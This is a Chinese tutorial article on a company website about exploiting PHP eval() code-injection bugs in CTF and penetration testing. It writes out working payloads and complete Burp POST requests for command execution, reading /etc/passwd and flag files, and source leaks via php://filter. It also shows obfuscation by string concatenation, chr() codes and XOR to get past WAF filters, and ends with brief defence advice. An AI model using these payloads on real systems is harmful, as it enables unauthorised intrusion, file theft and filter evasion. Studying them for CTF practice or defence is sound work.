尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

PHP eval() 代码执行漏洞实战:手动构造POST请求绕过菜刀工具(附3种Payload)

PHP eval() 代码执行漏洞实战:手动构造POST请求绕过菜刀工具(附3种Payload)
📅 发布时间:2026/7/8 20:24:27

PHP eval() 代码执行漏洞实战:手动构造POST请求的3种高级利用方式

在CTF竞赛和实际渗透测试中,PHP的eval()函数代码执行漏洞是最常见也最具破坏性的漏洞类型之一。本文将带你深入理解eval()漏洞的底层原理,并掌握三种不依赖菜刀等自动化工具的手动利用方法。

1. eval()漏洞的核心原理与手动利用基础

eval()函数是PHP中一个极其危险的函数,它能够将字符串作为PHP代码执行。当开发者不慎将用户可控的输入直接传递给eval()时,就形成了典型的代码注入漏洞。

典型漏洞代码示例:

<?php $code = $_POST['cmd']; eval($code); ?>

这种漏洞的利用关键在于构造特殊的POST请求。与使用菜刀等工具不同,手动构造请求能让我们更深入理解漏洞本质,并在工具失效时依然保持攻击能力。

手动利用基本流程:

  1. 识别存在eval()执行的参数(如cmd、code等)
  2. 通过Burp Suite或Postman构造POST请求
  3. 在参数值中注入PHP代码
  4. 分析服务器响应获取执行结果

提示:在实际测试中,务必先使用phpinfo()等无害函数确认漏洞存在,避免直接执行破坏性命令。

2. 三种高级Payload构造技术

2.1 信息泄露Payload

信息泄露是eval()漏洞最直接的利用方式,通过执行系统命令获取服务器敏感信息。

经典信息泄露Payload:

eval('system("ls -la /");');

进阶技巧:

  • 使用scandir()替代system绕过部分过滤
  • 组合使用var_dump()增强可读性:
eval('var_dump(scandir("/var/www/html"));');

实际CTF案例: 在BUUCTF [极客大挑战 2019]Knife题目中,使用以下Payload成功获取flag路径:

Syc=var_dump(scandir('/'));

2.2 目录遍历与文件读取

获取服务器目录结构后,下一步是读取关键文件内容。

文件读取Payload对比表:

方法代码示例适用场景特点
file_get_contentseval('echo file_get_contents("/etc/passwd");');读取文本文件简单直接
highlight_fileeval('highlight_file("/var/www/html/index.php");');查看PHP源码带语法高亮
伪协议eval('include("php://filter/convert.base64-encode/resource=config.php");');绕过特殊字符过滤返回base64编码

实战技巧:

  • 遇到特殊字符时使用base64编码:
eval('echo base64_encode(file_get_contents("/flag"));');
  • 组合使用目录遍历和文件读取:
eval('$files=scandir(".");foreach($files as $f){echo $f.": ".filesize($f)." bytes\n";}');

2.3 绕过过滤的混淆技术

现代WAF通常会检测常见的危险函数,因此需要掌握混淆技术。

三种主流混淆方式:

  1. 字符串拼接:
eval('$a="s"."y"."s"."t"."e"."m";$a("whoami");');
  1. ASCII码转换:
eval('$f=chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);$f();');
  1. 异或运算:
eval('$a=("!"^"@").("A"^"[").(":"^"@").(">"^"@").(":"^"@").("!"^"_");$a("ls");');

混淆技术对比分析:

技术类型可读性绕过效果适用场景
字符串拼接★★★★★简单过滤
ASCII转换★★★★★中等强度WAF
异或运算★★★★★严格过滤环境

3. Burp Suite实战:手动构造完整攻击链

让我们通过一个完整案例演示如何手动利用eval()漏洞。

步骤1:确认漏洞点

POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=phpinfo();

步骤2:获取目录列表

POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=var_dump(scandir('/var/www/html'));

步骤3:读取关键文件

POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=echo file_get_contents('/var/www/html/flag.php');

步骤4:绕过过滤(如需)

POST /vuln.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=$f=chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103);system($f);

注意:实际攻击中,建议使用编码后的Payload,并注意特殊字符的URL编码问题。

4. 防御方案与漏洞修复

了解攻击手段后,开发者应采取以下防护措施:

多层防御策略:

  1. 输入验证:
if(preg_match('/[^a-zA-Z0-9_]/', $input)){ die("Invalid input"); }
  1. 禁用危险函数:
; php.ini配置 disable_functions = eval,exec,system,passthru
  1. 使用安全替代方案:
  • 用call_user_func()替代eval()
  • 使用安全的模板引擎

安全开发建议:

  • 遵循最小权限原则
  • 实施代码审计流程
  • 使用Web应用防火墙(WAF)

在CTF竞赛中遇到这类题目时,建议按照以下流程操作:

  1. 确认eval()执行点
  2. 测试基本命令执行
  3. 枚举目录结构
  4. 定位并读取flag文件
  5. 如遇过滤,尝试各种混淆技术

掌握手动利用技术不仅能帮助你在没有自动化工具的环境中完成任务,更能深入理解Web安全的核心原理。记住,真正的安全专家不仅知道如何攻击,更清楚如何防御。

相关新闻

  • Pikachu靶场 RCE漏洞实战:3种命令注入绕过与PHP eval利用详解
  • 3分钟完成专业字幕:VideoSrt开源工具完整指南
  • 基于TLE 6208-6G与PIC18F2550的直流电机控制方案

最新新闻

  • WarcraftHelper:魔兽争霸3实用技巧与高效优化方法深度解析
  • 稳健性设计实战:3步正交实验法降低产品性能变异系数 20%
  • 3种机器学习算法对比:SVM、ML与MD在湿地分类中的97.2%精度差异分析
  • 随机森林 vs 梯度提升树:5个回归任务实测,R²与训练速度对比
  • PyTorch 2.0 实战:CIFAR-10 图像分类,5个Epochs实现85%+准确率
  • PINN 求解四阶 PDE 实战:PyTorch 实现 u_xx - u_yyyy 误差 0.0019

日新闻

  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号